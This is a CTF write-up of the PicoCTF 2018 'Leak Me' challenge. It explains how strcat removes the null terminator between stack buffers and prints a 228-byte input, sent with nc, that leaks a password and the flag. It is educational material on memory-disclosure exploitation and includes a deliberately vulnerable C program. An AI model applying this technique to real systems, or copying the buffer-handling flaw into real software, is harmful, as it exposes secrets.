PicoCTF 2018 - Leak Me
Note: This article is part of our PicoCTF 2018 BinExp Guide.
Spot the Bug
Spotting this one is trickier. I originally solved this challenge several months ago, but while putting this guide together I attempted to look ahead to this problem and “spot the bug” (with only access to the source code on my phone). I’m ashamed to admit that it was almost an hour of me staring at the thing before I had a good idea what the problem was and how it could be exploited. How long does it take you?
char password[64]; // &[ebp-0x54]
char name[256]; // &[ebp-0x154]
char password_input[64]; // &[ebp-0x194]
memset(password, 0, sizeof(password));
memset(name, 0, sizeof(name));
memset(password_input, 0, sizeof(password_input));
printf("What is your name?\n");
fgets(name, sizeof(name), stdin);
char *end = strchr(name, '\n');
if (end != NULL) {
*end = '\x00';
}
strcat(name, ",\nPlease Enter the Password.");
file = fopen("password.txt", "r");
if (file == NULL) {
printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(password, sizeof(password), file);
printf("Hello ");
puts(name);
fgets(password_input, sizeof(password_input), stdin);
password_input[sizeof(password_input)] = '\x00';
if (!strcmp(password_input, password)) {
flag();
}
else {
printf("Incorrect Password!\n");
}
Let’s go over the steps:
- Memory for
password
,name
, andpassword_input
is allocated and initialized on the stack. - You are prompted for your name (saved in
name
) - The file “password.txt” is opened, and read into the
password
variable - You are prompted for a password (saved in
password_input
) - If your password (
password_input
) matches the password in the file (password
), then the flag is printed.
First off, we notice that the prompts for name
and password
both use fgets()
, which is considered safe. fgets
will read up to size-1
bytes (or the first newline), and will always add a tailing null byte. There is also a call to printf
, which could be used unsafely, but is fine in this case. Similarly, there are no problems with the calls to strchr
, fopen
, puts
, or strcmp
in this program.
The conclusion we reach is that the only thing it could be is the call to strcat
(which is used to concatenate two strings together into one string, using the underlying memory of the first string).
fgets(name, sizeof(name), stdin); // read up to size-1 bytes
// ...
strcat(name, ",\nPlease Enter the Password."); // add 28 characters + null to end of name
// ...
fgets(password, sizeof(password), file); // read the password into password
// ...
printf("Hello ");
puts(name);
Strategy
The strategy, as the name of the challenge suggests, is to “leak” the password before we are required to enter it. We can do this because of the exact memory layout of the stack (we’ll go over it in a minute, but it’s important to note that this layout is specific to this version of compiler, in general the order of password
, name
and password_input
on the stack isn’t well specified). We can also do this because puts
will continue to output chars until it hits the first null, and knows nothing about the size of memory block associated with name
.
If you know what you’re doing already, you can attempt the problem by connecting to 2018shell.picoctf.com on port 38315 right now.
Background Info
Just like last time, let’s peak into the assembly and see what memory layout the compiler chose for our stack variables using objdump -M intel -S ./auth
:
sub esp,0x4 ; align
push 0x40 ; 0x40 = 64 = sizeof(password)
push 0x0
lea eax,[ebp-0x54] ; &password
push eax
call 8048530 <memset@plt> ; memset(password, 0, sizeof(password));
add esp,0x10
sub esp,0x4 ; align
push 0x100 ; 0x100 = 256 = sizeof(name)
push 0x0
lea eax,[ebp-0x154] ; &name
push eax
call 8048530 <memset@plt> ; memset(name, 0, sizeof(name));
add esp,0x10
sub esp,0x4 ; align
push 0x40 ; 0x40 = 64 = sizeof(password_input)
push 0x0
lea eax,[ebp-0x194] ; &password_input
push eax
call 8048530 <memset@plt> ; memset(password_input, 0, sizeof(password_input));
add esp,0x10
NOTE: Take a second and observe that the arguments to
memset
are pushed on the stack in the “reverse” order. So,sizeof(password)
is pushed first, then0
, then the address ofpassword
. This may seem odd, but if you consider how the stack works, it means that&password
is actually first in memory, followed by0
, and thensizeof(password)
, which is the order we expect. Keep this in mind for later challenges.
Therefore the memory layout for the local variables of our function looks something like this:
lower addresses | ⇒ | ⇒ | ⇒ | ⇒ | ⇒ | higher addresses |
---|---|---|---|---|---|---|
[esp] | < temp > | [ebp-0x194] | [ebp-0x154] | [ebp-0x54] | < other > | [ebp] |
password_input [64] | name [256] | password [64] |
Basically, the password
variable directly follows the name
variable in memory. If the string in name
is long enough to spill into the memory for password
, then when we read from “password.txt” we will actually write “into” the name string, and the password itself will be written to stdout when puts(name)
is called.
Exploitation
How long should our name be? Anything long enough should work, but it’ll be easier to read if there is a clear delimiter. If the name is exactly 228 bytes (excluding newline), then appending 28 bytes will completely fill the name
buffer, and the tailing null byte will end up as the first byte of the password
variable. That byte will then be overwritten when the password
is loaded. When the name
string is printed out, the password will be all the characters following the '.'
at the end of the prompt.
Here’s 228 “U”s for you to copy-paste, as generated by python3 -c 'print("U"*228)'
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
NOTE: this challenge requires to connect to a specific port on the server. To do this, you can install the netcat package on most linux distros and on windows. You could also connect to the port using pwntools
or similar. netcat
is already installed on the shell server.
$ nc 2018shell.picoctf.com 38315
What is your name?
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
Hello UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU,
Please Enter the Password.a_reAllY_s3cuRe_p4s$word_f85406
a_reAllY_s3cuRe_p4s$word_f85406
picoCTF{===REDACTED===}
When prompted, enter 228 characters and then press enter. It will then reply “Hello <228 chars>, Please Enter the Password.<password>
” where the actual password will be printed out after the '.'
. You then copy-paste the password and hit enter, at which point it will print the flag for you. In my case, the password was “a_reAllY_s3cuRe_p4s$word_f85406”.
Now that you’ve solved Leak Me, head back to the PicoCTF 2018 BinExp Guide to continue with the next challenge.